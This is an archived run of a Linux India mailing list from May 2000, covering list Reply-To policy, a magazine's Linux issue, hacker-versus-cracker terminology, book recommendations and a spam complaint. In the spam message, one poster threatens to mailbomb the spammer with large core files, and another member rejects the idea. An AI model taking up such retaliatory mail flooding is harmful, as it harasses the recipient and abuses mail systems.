as LI List Admin. no. what you do as LI admin has no bearing on what you do as an individual. -- Suresh Ramasubramanian | sureshr at staff.juno.com You can't carve your way to success without cutting remarks. From linux-india-general-owner@lists.linux-india.org Tue May 23 22:24:27 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 210363818B for ; Tue, 23 May 2000 22:24:05 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id KAA16967 for ; Wed, 24 May 2000 10:53:19 +0530 Date: Wed, 24 May 2000 10:53:19 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Re: [LIH] Fwd: Kylix Kickoff In-Reply-To: <20000524103141.G16233@staff.juno.com> Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/111 On Wed, 24 May 2000, Suresh Ramasubramanian wrote: > no. what you do as LI admin has no bearing on what you do as an > individual. Uh, not quite true. If, as an individual, he decides to get outrageously drunk and jump from the Empire State Building, it could possibly affect his ability to function as LI List Admin. ;-) Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Tue May 23 22:29:17 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 4FC073818B for ; Tue, 23 May 2000 22:29:10 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id KAAAA20089; Wed, 24 May 2000 10:57:50 +0530 (IST) Date: Wed, 24 May 2000 10:57:49 +0530 From: Suresh Ramasubramanian To: Atul Chitnis Cc: Linux India General Subject: Re: Re: [LIH] Fwd: Kylix Kickoff Message-ID: <20000524105749.M16233@staff.juno.com> Mail-Followup-To: Atul Chitnis , Linux India General Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from achitnis@exocore.com on Wed, May 24, 2000 at 10:53:19AM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/112 Atul Chitnis saw fit to inform LI that: >On Wed, 24 May 2000, Suresh Ramasubramanian wrote: > >> no. what you do as LI admin has no bearing on what you do as an >> individual. > >Uh, not quite true. If, as an individual, he decides to get outrageously >drunk and jump from the Empire State Building, it could possibly affect >his ability to function as LI List Admin. ;-) Ahhh... it _does_ have a rather potent effect on his performance as LI Admin when this happens :) Thaths, stay away from the Empire State Building, you hear me? ;) -- Suresh Ramasubramanian | sureshr at staff.juno.com You can't carve your way to success without cutting remarks. From linux-india-general-owner@lists.linux-india.org Wed May 24 08:28:12 2000 Received: from sify.net (unknown [202.144.67.31]) by www.aunet.org (Postfix) with SMTP id 3C5DB38082 for ; Wed, 24 May 2000 08:28:05 -0700 (PDT) Received: (qmail 26429 invoked from network); 24 May 2000 15:29:59 -0000 Received: from ec1pix-outside.maa.sify.net (HELO imp.sify.net) (202.144.10.100) by 202.144.67.31 with SMTP; 24 May 2000 15:29:59 -0000 Message-ID: <392C9DCB.9ED5F31F@imp.sify.net> Date: Thu, 25 May 2000 08:58:11 +0530 From: Abdul Naseer X-Mailer: Mozilla 4.5 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: "linux-india-general@lists.linux-india.org" Subject: EZMLM with qmail Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/113 Hello, I am facing some problems while setting up a mailing list using EZMLM with qmail-1.03 and vpopmail (on Linux). If any one out there having the same set-up or knows how to do it, please let me know........... Thanks in advance............ Naseer - From linux-india-general-owner@lists.linux-india.org Wed May 24 10:44:30 2000 Received: from bom8.vsnl.net.in (bom8.vsnl.net.in [202.54.4.125]) by www.aunet.org (Postfix) with ESMTP id 0FB703808E for ; Wed, 24 May 2000 10:44:20 -0700 (PDT) Received: from fangorn.localdomain ([202.54.92.203]) by bom8.vsnl.net.in (8.9.2/8.9.2) with SMTP id XAA23232 for ; Wed, 24 May 2000 23:10:35 +0500 (GMT+0500) From: Devdas Bhagat Reply-To: dodobh@nettaxi.com To: linux-india-general@lists.linux-india.org Subject: Re: Date: Thu, 25 May 2000 05:00:53 +0600 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain In-Reply-To: <392AFF56.5E266E5B@netscape.com> MIME-Version: 1.0 Message-Id: <00052505150500.02112@fangorn.localdomain> Content-Transfer-Encoding: 8bit X-Archive-Number: 200005/114 On Wed, 24 May 2000, Sudhakar Chandra wrote: > http://www.unicom.com/pw/reply-to-harmful.html What ever you do, keep it consistent, for some mails I get reply to sender as reply to list, for others I get it to the individual. I wonder, could we have another option to choose the reply to field? Plus the fact that I have to clean up the to field every time I hit reply all. Worse case is for multiple recipients. Its just irritating. I generally reply to the list, rarely to the sender. If I want to reply to the original poster individually, I can select him individually. Devdas Bhagat -- Backward conditioning: Putting saliva in a dog's mouth in an attempt to make a bell ring. From linux-india-general-owner@lists.linux-india.org Wed May 24 10:56:02 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id 0B380380A0 for ; Wed, 24 May 2000 10:55:59 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id KAA26310 for ; Wed, 24 May 2000 10:52:13 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FV2SH901.YQA for ; Wed, 24 May 2000 10:55:57 -0700 Message-ID: <392C17AD.6656EC99@netscape.com> Date: Wed, 24 May 2000 10:55:57 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-general@lists.linux-india.org Subject: Re: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/115 Devdas Bhagat proclaimed: > On Wed, 24 May 2000, Sudhakar Chandra wrote: > > http://www.unicom.com/pw/reply-to-harmful.html > What ever you do, keep it consistent, Believe it or not - there is a rhyme and reason for the different lists behaving differently. LIH, LIP and (maybe) LIA all have reply_to set to $LIST. LIG does not set reply_to. The reasoning is that LIG is the kind of list where advanced users would argue endlessly over some arcane license or the other. Advanced users are supposed to be clueful enough to edit their headers before sending off an email. > for some mails I get reply to > sender as reply to list, for others I get it to the individual. > I wonder, could we have another option to choose the reply to field? Read http://lists.linux-india.org/lists/LIH/faq.txt Especially Q7. I quote: "Q7. I hate the mailing list setting the 'Reply-To' field to point back to the list. I think this is more evil than Chairman Bill. How can I receive posts from the mailing lists without the 'Reply-To' being set? A. Send an email to majordomo2@lists.linux-india.org with the words 'set linux-india-help noreplyto' (without the quotes) in the body (not subject) of the email." > Plus the fact that I have to clean up the to field every time I hit > reply all. Worse case is for multiple recipients. Its just irritating. If you cannot take half a minute to edit the headers, why should people take a minute or so to read your responses? > I generally reply to the list, rarely to the sender. If I want to reply > to the original poster individually, I can select him individually. That is a half-full half-empty debate. The beauty of majordomo2 is that it allows the *user* to choose whether they want reply_to to be munged. Mj2 is very versatile. You ought to read the documentation on it some time. Lots of neat features. Thaths -- Marge: Can we get rid of this Ayatollah T-shirt? Khomeini died years ago. Homer: But, Marge! It works on _any_ Ayatollah: Ayatollah Nakhbadeh, Ayatollah Zahedi...even as we speak, Ayatollah Razmada and his cadre of fanatics are consolidating their power. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Wed May 24 11:06:19 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 227BD38099 for ; Wed, 24 May 2000 11:06:06 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id XAA20117 for ; Wed, 24 May 2000 23:35:52 +0530 Date: Wed, 24 May 2000 23:35:52 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: In-Reply-To: <00052505150500.02112@fangorn.localdomain> Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/116 On Thu, 25 May 2000, Devdas Bhagat wrote: > Plus the fact that I have to clean up the to field every time I hit > reply all. Worse case is for multiple recipients. Its just irritating. > I generally reply to the list, rarely to the sender. If I want to reply > to the original poster individually, I can select him individually. I need to point out that if one wants to follow one person's opinion (in this case the "reply-to is harmful"), one would also have to take the responsibility of making sure that everyone sticks to the rules - it becomes a list-admin issue, since it is the list-admin's decision that causes this. Every post I have made to this list that has received a reply has resulted in duplicate messages - one in my inbox, one to the list. I have complained several times, but after a while, the offenders slip back to being too lazy to take a moment to clean up the address. Virtually every reply on this list, if examined, will show multiple addressees - direct to the original poster, and to the list. While it is all good and fine to have a personal opinion or to subscribe to a (little-followed) philosophy - if people consistently complain about it, then one should consider the greater good. I vote for a default correct reply-to. And I do not agree with the philosophy of "reply-to is harmful". That is just one person's opinion. Before such an arbitrary rule is dumped on people, it would have been nice to ask the subscribers if they agree to it. Majordomo2 is a recent phenomenon - the default-no-replyto was there form the beginning of LIG - there was no option then. I do not receive duplicate messages because *I* have reply-to set, I receive duplicates because *others* haven't. Atul From linux-india-general-owner@lists.linux-india.org Wed May 24 19:36:38 2000 Received: from blr.vsnl.net.in (blr.vsnl.net.in [202.54.12.6]) by www.aunet.org (Postfix) with ESMTP id 0965B3806C for ; Wed, 24 May 2000 19:36:30 -0700 (PDT) Received: from udhay (PPP-177-39.bng.vsnl.net.in [203.197.177.39]) by blr.vsnl.net.in (8.9.3/8.9.3) with ESMTP id HAA03363 for ; Thu, 25 May 2000 07:57:05 +0530 (IST) X-Pgp-Dsskey: 0x55FAB8D3 X-Pgp-Rsakey: 0xCAA67415 Message-Id: <4.2.0.58.20000524233830.00a82aa0@oyemail.com> X-Nil: Date: Wed, 24 May 2000 23:40:17 +0530 To: linux-india-general@lists.linux-india.org From: Udhay Shankar N Subject: Re: In-Reply-To: <392C17AD.6656EC99@netscape.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Archive-Number: 200005/117 At 10:55 AM 5/24/00 -0700, Sudhakar Chandra wrote: >Believe it or not - there is a rhyme and reason for the different lists >behaving differently. FWIW, I agree with this. It depends on the kind of users you have. And that is hopefully the final word on the topic. ;-) Udhay -- _____________________________________________________________________ http://www.unimobile.com/ http://pobox.com/~udhay Unimobile - the world's first internet mobile Now Live ! From linux-india-general-owner@lists.linux-india.org Thu May 25 03:55:40 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 1F8CB38053 for ; Thu, 25 May 2000 03:55:24 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id QAA23241; Thu, 25 May 2000 16:24:39 +0530 Date: Thu, 25 May 2000 16:24:38 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: [COMMERCIAL] PC Quest June 2000 is the next Linux Issue Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/118 The June issue of PC Quest (on the stands June 1st) is the next Linux Issue. It carries RedHat Linux 6.2 (duely PCQ'ized) on the cover CD, updated with all patches/updates upto 29th of April 2000. It has been "fixed" to work with the i810 motherboards, and (unlike the "real" RedHat 6.2) also carries the latest FAQs and HOWTOs. As an extra bonus, *all* past Linux articles that have appeared in PC Quest over the years are also on the CD for easy reference, easily locatable (along with online references to lots of good stuff) via a HTML frontend. The printed issue carries plenty of Linux technology articles. PCQ, in fact, received so many articles that some of them have spilled over to the next issue! As usual, lots of thanks to everyone who made it happen, including the many LI members who wrote articles, made suggestions and hellped solve problems. Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80) 3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Thu May 25 05:50:05 2000 Received: from bom8.vsnl.net.in (bom8.vsnl.net.in [202.54.4.125]) by www.aunet.org (Postfix) with ESMTP id E0EC538059 for ; Thu, 25 May 2000 05:50:01 -0700 (PDT) Received: from fangorn.localdomain ([202.54.0.20]) by bom8.vsnl.net.in (8.9.2/8.9.2) with SMTP id SAA19782 for ; Thu, 25 May 2000 18:16:19 +0500 (GMT+0500) From: Devdas Bhagat Reply-To: dodobh@nettaxi.com To: linux-india-general@lists.linux-india.org Subject: Hacker vs Cracker Date: Thu, 25 May 2000 18:17:15 +0600 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00052518204901.00913@fangorn.localdomain> Content-Transfer-Encoding: 8bit X-Archive-Number: 200005/119 One of ILUG-BOM's more active members has written a short article on the distinction between hackers and crackers. The article is at http://members.xoom.com/philip3/writings/hackers-not-crackers.txt He wants to send it to a few newspapers. Comments/Suggestions for improvement requested. Devdas Bhagat -- Xerox does it again and again and again and ... From linux-india-general-owner@lists.linux-india.org Thu May 25 06:44:45 2000 Received: from nagpur.dot.net.in (nagpur.vsnl.net.in [202.54.50.1]) by www.aunet.org (Postfix) with ESMTP id 9307A38073 for ; Thu, 25 May 2000 06:44:15 -0700 (PDT) Received: from outsider (PPP50-88.dot.vsnl.net.in [202.54.50.88]) by nagpur.dot.net.in (8.9.3/8.9.3) with SMTP id TAA04835 for ; Thu, 25 May 2000 19:16:57 +0530 (IST) Message-ID: <003c01bfc67d$76dd75e0$0101a8c0@outsider.sanisoft> Reply-To: "SANIsoft" From: "SANIsoft" To: Subject: Good Books Date: Thu, 25 May 2000 19:13:42 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200005/120 Hi folks, Finally there are good books on Linux in market (first time in Nagpur atleast) GIMP - Essential Reference - Techmedia Rs150 A good start for any GIMP artist includes script fu Maximum Linux Security - Techmedia Rs 297 A must have for every Linux sys admin and hackers Swati P.S. I am in no way associated with Techmedia OR the authors - hence no commercial tag :-) ===================================== B2B Application Service Providers http://www.sanisoft.com The Vortal for Nagpur http://nagpurcity.net ===================================== -----Original Message----- From: Devdas Bhagat To: linux-india-general@lists.linux-india.org Date: Thursday, May 25, 2000 12:53 PM Subject: [LIG] Hacker vs Cracker >One of ILUG-BOM's more active members has written a short article on >the distinction between hackers and crackers. The article is at >http://members.xoom.com/philip3/writings/hackers-not-crackers.txt > >He wants to send it to a few newspapers. Comments/Suggestions for >improvement requested. > >Devdas Bhagat >-- >Xerox does it again and again and again and ... > >----------------------------------------------------------------------- >For more information on the LIG mailing list see: >http://lists.linux-india.org/lists/LIG > From linux-india-general-owner@lists.linux-india.org Thu May 25 06:49:34 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 4383538078 for ; Thu, 25 May 2000 06:49:27 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id TAAAA11396; Thu, 25 May 2000 19:19:05 +0530 (IST) Date: Thu, 25 May 2000 19:19:05 +0530 From: Suresh Ramasubramanian To: SANIsoft Cc: linux-india-general@lists.linux-india.org Subject: Re: Good Books Message-ID: <20000525191905.A11348@staff.juno.com> Reply-To: Suresh Ramasubramanian Mail-Followup-To: SANIsoft , linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <003c01bfc67d$76dd75e0$0101a8c0@outsider.sanisoft>; from swati@webginn.com on Thu, May 25, 2000 at 07:13:42PM -0000 Organization: Juno Abuse Desk X-Archive-Number: 200005/121 SANIsoft saw fit to inform LI that: >GIMP - Essential Reference - Techmedia Rs150 >A good start for any GIMP artist includes script fu This is nice :) >Maximum Linux Security - Techmedia Rs 297 >A must have for every Linux sys admin and hackers This entire thing is available as a howto on the net - for netbsd I admit, but not much difference. Or consider installing Bastille Linux - a heavily hardened version of redhat) I'll be expecting these in Hyderabad, and hope certain freemail admins in India read them - they _desperately_ need these books. -- Suresh Ramasubramanian | sureshr at staff.juno.com I can read your mind, and you should be ashamed of yourself. From linux-india-general-owner@lists.linux-india.org Thu May 25 07:07:27 2000 Received: from nagpur.dot.net.in (nagpur.vsnl.net.in [202.54.50.1]) by www.aunet.org (Postfix) with ESMTP id BCD083805C for ; Thu, 25 May 2000 07:07:08 -0700 (PDT) Received: from outsider (PPP50-88.dot.vsnl.net.in [202.54.50.88]) by nagpur.dot.net.in (8.9.3/8.9.3) with SMTP id TAA17285 for ; Thu, 25 May 2000 19:39:58 +0530 (IST) Message-ID: <006601bfc680$bad50760$0101a8c0@outsider.sanisoft> Reply-To: "SANIsoft" From: "SANIsoft" To: Subject: Re: Good Books Date: Thu, 25 May 2000 19:36:36 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200005/122 >This entire thing is available as a howto on the net - for netbsd I admit, Yep - so are the GIMP docs BUT for me there is nothing to beat the heavy paper book in hand feeling flames>dev/null besides burning pollutes the atmosphere ;-) Swati ===================================== B2B Application Service Providers http://www.sanisoft.com The Vortal for Nagpur http://nagpurcity.net ===================================== -----Original Message----- From: Suresh Ramasubramanian To: SANIsoft Cc: linux-india-general@lists.linux-india.org Date: Thursday, May 25, 2000 1:51 PM Subject: Re: [LIG] Good Books >SANIsoft saw fit to inform LI that: > >>GIMP - Essential Reference - Techmedia Rs150 >>A good start for any GIMP artist includes script fu > >This is nice :) > >>Maximum Linux Security - Techmedia Rs 297 >>A must have for every Linux sys admin and hackers > >This entire thing is available as a howto on the net - for netbsd I admit, >but not much difference. Or consider installing Bastille Linux - a >heavily hardened version of redhat) > >I'll be expecting these in Hyderabad, and hope certain freemail admins in >India read them - they _desperately_ need these books. > >-- >Suresh Ramasubramanian | sureshr at staff.juno.com >I can read your mind, and you should be ashamed of yourself. > From linux-india-general-owner@lists.linux-india.org Thu May 25 07:50:12 2000 Received: from mailgw5.prontomail.com (mailgw5.prontomail.com [209.185.149.196]) by www.aunet.org (Postfix) with ESMTP id 1879A38059 for ; Thu, 25 May 2000 07:50:08 -0700 (PDT) Received: from c5web04 (216.163.179.204) by mailgw5.prontomail.com (NPlex 2.0.123) for linux-india-general@lists.linux-india.org; Thu, 25 May 2000 07:50:05 -0700 From: "sivasunder sistla" Message-Id: Date: Thu, 25 May 2000 20:23:23 +0530 X-Priority: Normal Content-Type: text/plain; charset=ISO-8859-1 To: linux-india-general@lists.linux-india.org Subject: Re: re: reading habits of linux geeks... X-Mailer: Web Based Pronto Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/123 Hey... Someone give this guy one more Phd. :-) sunder Visit my personal Homepage at http://mail.indiatimes.com/indiatimes/users/bundar Get Your Free E-mail at http://www.indiatimes.com From linux-india-general-owner@lists.linux-india.org Thu May 25 07:53:08 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 46BEE38054 for ; Thu, 25 May 2000 07:52:58 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id UAAAA13440; Thu, 25 May 2000 20:22:32 +0530 (IST) Date: Thu, 25 May 2000 20:22:32 +0530 From: Suresh Ramasubramanian To: sivasunder sistla Cc: linux-india-general@lists.linux-india.org Subject: Re: re: reading habits of linux geeks... Message-ID: <20000525202231.A13302@staff.juno.com> Reply-To: Suresh Ramasubramanian Mail-Followup-To: sivasunder sistla , linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from bundar@indiatimes.com on Thu, May 25, 2000 at 08:23:23PM +0530 Organization: Juno Abuse Desk X-Archive-Number: 200005/124 sivasunder sistla saw fit to inform LI that: >Hey... >Someone give this guy one more Phd. >:-) I don't have any. Next? ;) -s -- Suresh Ramasubramanian | sureshr at staff.juno.com Parkinson's Fourth Law: The number of people in any working group tends to increase regardless of the amount of work to be done. From linux-india-general-owner@lists.linux-india.org Thu May 25 09:05:25 2000 Received: from smtp.mail.yahoo.com (smtp.mail.yahoo.com [128.11.68.32]) by www.aunet.org (Postfix) with SMTP id 2213538090 for ; Thu, 25 May 2000 09:05:20 -0700 (PDT) Received: from unknown (HELO default) (202.9.149.39) by smtp.mail.yahoo.com with SMTP; 25 May 2000 09:01:40 -0700 X-Apparently-From: Message-ID: <001701bfc663$3d134c00$279509ca@default> From: "Vilas Kumar C" To: Subject: Re: [COMMERCIAL] PC Quest June 2000 is the next Linux Issue Date: Thu, 25 May 2000 21:36:06 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Archive-Number: 200005/125 Looking forward to it eagerly. ----- Original Message ----- From: "Atul Chitnis" To: "Linux India General" Sent: Thursday, May 25, 2000 4:24 PM Subject: [LIG] [COMMERCIAL] PC Quest June 2000 is the next Linux Issue > The June issue of PC Quest (on the stands June 1st) is the next Linux > Issue. __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com From linux-india-general-owner@lists.linux-india.org Thu May 25 09:28:41 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 8804038056 for ; Thu, 25 May 2000 09:28:33 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id JAA22080 for linux-india-general@lists.linux-india.org; Thu, 25 May 2000 09:28:18 -0700 Date: Thu, 25 May 2000 09:28:18 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: Hacker vs Cracker Message-ID: <20000525092817.A21959@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <00052518204901.00913@fangorn.localdomain>; from Devdas Bhagat on Thu, May 25, 2000 at 06:17:15PM +0600 X-Archive-Number: 200005/126 On Thu, May 25, 2000 at 06:17:15PM +0600, Devdas Bhagat wrote: > One of ILUG-BOM's more active members has written a short article on > the distinction between hackers and crackers. The article is at > http://members.xoom.com/philip3/writings/hackers-not-crackers.txt > > He wants to send it to a few newspapers. Comments/Suggestions for > improvement requested. 1. Much has been already written about the topic. The only thing that I see as new is the Indian twist and it's probably appropriate for the Indian media to get some exposure to the "hacker subculture". 2. http://www.zdnet.com/special/stories/defense/0,10459,2504308,00.html 3. > Then, browse down to http://www.gnu.org/ and read the philosophy of > free software. That's just GNU project's idea of what free software should be. (Unfortunately) that's the most popular idea of free software that's known to users as well as the press - largely due to the success of linux. http://www.sendmail.net/?CssUID=&CssServer=&SessionName=&feed=interview004 http://www.tuxedo.org/~esr/jargon/html/entry/copycenter.html http://www.tuxedo.org/~esr/jargon/html/entry/General-Public-Virus.html http://sharmas.dhs.org/bsd-india/bsd-india.html -Arun From linux-india-general-owner@lists.linux-india.org Fri May 26 02:08:18 2000 Received: from aero.iisc.ernet.in (aero.iisc.ernet.in [144.16.73.100]) by www.aunet.org (Postfix) with ESMTP id D11B138056 for ; Fri, 26 May 2000 02:07:56 -0700 (PDT) Received: from localhost (pallav99@localhost) by aero.iisc.ernet.in (8.9.3/8.8.7) with SMTP id OAA02511 for ; Fri, 26 May 2000 14:43:10 +0530 Date: Fri, 26 May 2000 14:43:10 +0530 (IST) From: Pallav Nawani To: Linux India General Subject: Re: Good Books In-Reply-To: <003c01bfc67d$76dd75e0$0101a8c0@outsider.sanisoft> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/127 Any Good Book on beginning Linux programming? pallav. ___________________________________________________________________ Anthony's Law of Force : Don't Force it, Get a bigger Hammer. ____________________________________________________________________ Pallav Nawani | Visit me at | F-46, | http://www.angelfire.com/co/pallav | IISc Bangalore | --------------------------------------------| PIN 560012 | | Phone : 3092625 | | _____________________|_____________________________________________| From linux-india-general-owner@lists.linux-india.org Fri May 26 02:18:07 2000 Received: from rmx194-mta.mail.com (rmx194-mta.mail.com [165.251.48.41]) by www.aunet.org (Postfix) with ESMTP id 82F1138056 for ; Fri, 26 May 2000 02:18:03 -0700 (PDT) Received: from web303-mc.mail.com (web303-mc.mail.com [165.251.48.164]) by rmx194-mta.mail.com (8.9.3/8.9.3) with SMTP id FAA02522; Fri, 26 May 2000 05:16:49 -0400 (EDT) Message-ID: <385374946.959332609328.JavaMail.root@web303-mc.mail.com> Date: Fri, 26 May 2000 05:16:49 -0400 (EDT) From: Gandalf Mithrandir To: ramesh@linuxlearningcentre.com Subject: SPAM Cc: ilug-bangalore@egroups.com, linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: mail.com X-Originating-IP: 164.164.42.7 X-Archive-Number: 200005/128 Dear Mr. Ramesh, I cannot sit helplessly and watch as you continually and irresponsibly misuse the ILUG Bangalore mailing list (and possibly other lists as well). I am sure that I am not the only person on this list who has recently obtained spam from you on a "Linux Course" being held in Bangalore. Using email addresses without the prior permission of the person is not just an insult to your intelligence, but also a telling statement on your ethics. I cannot in good faith either recommend your course or your company. The fact that my choice in receiving such mail is a) not worthy of being considered b) taken for granted makes me quite livid at your audacity. If you wish to send out SPAM, please make sure that people are able to leave such a list if they wish. Moreso, first determine if the person wishes to read such mail. If such a situation continues, I shall be forced to take whatever measures that are so warranted in the given situation. 10 MB Core files can be regularly created when I compile code. I shall then (like you) have no hesitation in sending them to you for your perusal. Indignant, M Gandalf Mithrandir /* Mobilis in mobile */ Final Year CS&E, UVCE, Blr /* Any Sufficiently Advanced Operating System is indistinguishable from Linux */ // Do not meddle with SysAds for they are quick to anger and subtle in their ways // ______________________________________________ FREE Personalized Email at Mail.com Sign up at http://www.mail.com/?sr=signup From linux-india-general-owner@lists.linux-india.org Fri May 26 02:19:15 2000 Received: from MailAndNews.com (MailAndNews.com [199.29.68.160]) by www.aunet.org (Postfix) with ESMTP id 325AB38067 for ; Fri, 26 May 2000 02:19:13 -0700 (PDT) Received: from croton [12.10.209.145] (sthitaprajna@mailandnews.com); Fri, 26 May 2000 05:19:11 -0400 X-WM-Posted-At: MailAndNews.com; Fri, 26 May 00 05:19:11 -0400 From: "Sthitaprajna" Organization: Nell To: linux-india-general@lists.linux-india.org Date: Fri, 26 May 2000 14:49:02 +0530 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Good Books Reply-To: sthitaprajna@mailandnews.com In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.12) Message-Id: <20000526091913.325AB38067@www.aunet.org> X-Archive-Number: 200005/129 On 26 May 00, at 14:43, Pallav Nawani wrote: > Any Good Book on beginning Linux programming? Please post such queries on the Linux-India-Help or Linux-India- Programmers list. A good book is "Beginning Linux Programming" - Neil Mathew, Richard Stones, Wrox Press(indian ed available for around Rs 500) ======================================== Sthitaprajna @mailandnews.com ======================================== From linux-india-general-owner@lists.linux-india.org Fri May 26 02:27:32 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 5054A38053 for ; Fri, 26 May 2000 02:27:27 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id OAAAA05313; Fri, 26 May 2000 14:56:41 +0530 (IST) Date: Fri, 26 May 2000 14:56:40 +0530 From: Suresh Ramasubramanian To: Gandalf Mithrandir Cc: ramesh@linuxlearningcentre.com, ilug-bangalore@egroups.com, linux-india-general@lists.linux-india.org Subject: Re: SPAM Message-ID: <20000526145640.A3755@staff.juno.com> Reply-To: Suresh Ramasubramanian Mail-Followup-To: Gandalf Mithrandir , ramesh@linuxlearningcentre.com, ilug-bangalore@egroups.com, linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <385374946.959332609328.JavaMail.root@web303-mc.mail.com>; from gandalf@india.com on Fri, May 26, 2000 at 05:16:49AM -0400 Organization: Juno Abuse Desk X-Archive-Number: 200005/130 Gandalf Mithrandir saw fit to inform LI that: >I cannot sit helplessly and watch as you continually and irresponsibly >misuse the ILUG Bangalore mailing list (and possibly other lists as well). I Gandalf - While your sending the spammer 10 mb core files will definitely help him learn a _lot_ about linux, it is not the done thing to mailbomb a spammer and reduce yourself to stoop down to his level. What you can and must do is 1. Forward the spam with full headers turned on to hostmaster@indialinks.com and cc abuse@rackspace.com (his ISP) with a request to terminate his miserable website with extreme prejudice. 2. GP Singh of VSNL to terminate his account linux@vsnl.com (which is the point of contact for his domain, and through whose servers he most likely sent the spam). You can contact Mr.Sajoo Verghese of VSNL Bangalore as well - he has been quite responsive about spam issues. I think sajoo@giasbm01 - just check. hth -s -- Suresh Ramasubramanian | sureshr at staff.juno.com From 